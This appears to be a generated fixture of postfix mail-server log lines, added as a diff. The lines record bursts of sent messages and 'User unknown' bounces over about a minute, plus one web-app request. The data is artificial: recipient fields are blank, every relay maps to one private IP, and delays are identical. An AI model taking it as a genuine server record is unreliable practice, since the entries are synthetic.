+Jul 02 11:02:05 mail-server postfix/smtp[17645]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[18457]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[19120]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[10057]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[10629]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[12347]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[12593]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[13580]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[14519]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[18779]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[19428]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:10 mail-server postfix/smtp[22877]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:10 mail-server postfix/smtp[28127]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:15 mail-server postfix/smtp[10939]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[13137]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[14185]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[14842]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[16338]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[17640]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:15 mail-server postfix/smtp[22378]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:15 mail-server postfix/smtp[25974]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:20 mail-server postfix/smtp[10343]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[10658]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[12327]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[12900]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[13311]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[14070]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[14105]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[15244]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[15381]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[16092]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:20 mail-server postfix/smtp[21474]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:20 mail-server postfix/smtp[26398]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:20 mail-server postfix/smtp[29795]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:25 mail-server postfix/smtp[10048]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[10660]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[11927]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[12580]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[12758]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[12842]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[14698]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[14904]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[15142]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[15376]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[15699]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[15893]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[17282]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[17303]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:25 mail-server postfix/smtp[21992]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:25 mail-server postfix/smtp[29469]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:30 mail-server postfix/smtp[10031]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[13248]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[13852]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[15537]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[15826]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[15866]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[16895]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:30 mail-server postfix/smtp[20379]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:30 mail-server postfix/smtp[25512]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:30 mail-server postfix/smtp[27444]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:30 mail-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:02:35 mail-server postfix/smtp[11526]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[11761]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[12358]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[12452]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[12629]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[13324]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[13480]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[13587]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[14978]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[15949]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[17228]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[18498]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:35 mail-server postfix/smtp[21679]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:35 mail-server postfix/smtp[24260]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:35 mail-server postfix/smtp[29610]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:40 mail-server postfix/smtp[10583]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[12507]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[14413]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[16913]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[19595]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:40 mail-server postfix/smtp[22924]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:40 mail-server postfix/smtp[24919]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:40 mail-server postfix/smtp[26326]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:45 mail-server postfix/smtp[10076]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[11064]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[12498]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[12798]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[13484]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[13550]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[14730]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[16304]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[16943]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[19684]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:45 mail-server postfix/smtp[22267]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:45 mail-server postfix/smtp[29558]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:50 mail-server postfix/smtp[11208]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:50 mail-server postfix/smtp[13232]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:50 mail-server postfix/smtp[13424]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:50 mail-server postfix/smtp[14066]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:50 mail-server postfix/smtp[14311]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:50 mail-server postfix/smtp[23950]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:50 mail-server postfix/smtp[26009]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:50 mail-server postfix/smtp[26429]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:55 mail-server postfix/smtp[10178]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[11050]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[11183]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[11944]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[12595]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[13666]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[15924]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[15937]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[17446]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[17787]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[17853]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[19628]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[19646]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[19840]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:55 mail-server postfix/smtp[20843]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:02:55 mail-server postfix/smtp[27351]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:00 mail-server postfix/smtp[10153]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[12519]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[14665]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[16761]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[17162]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[18139]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[18576]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[19814]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:00 mail-server postfix/smtp[21772]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:05 mail-server postfix/smtp[10467]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[12509]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[14404]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[17800]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[19188]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[19299]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:05 mail-server postfix/smtp[23028]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:05 mail-server postfix/smtp[23254]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:03:10 mail-server postfix/smtp[11442]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[14867]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[15031]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[15526]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[15571]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:03:10 mail-server postfix/smtp[15675]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent 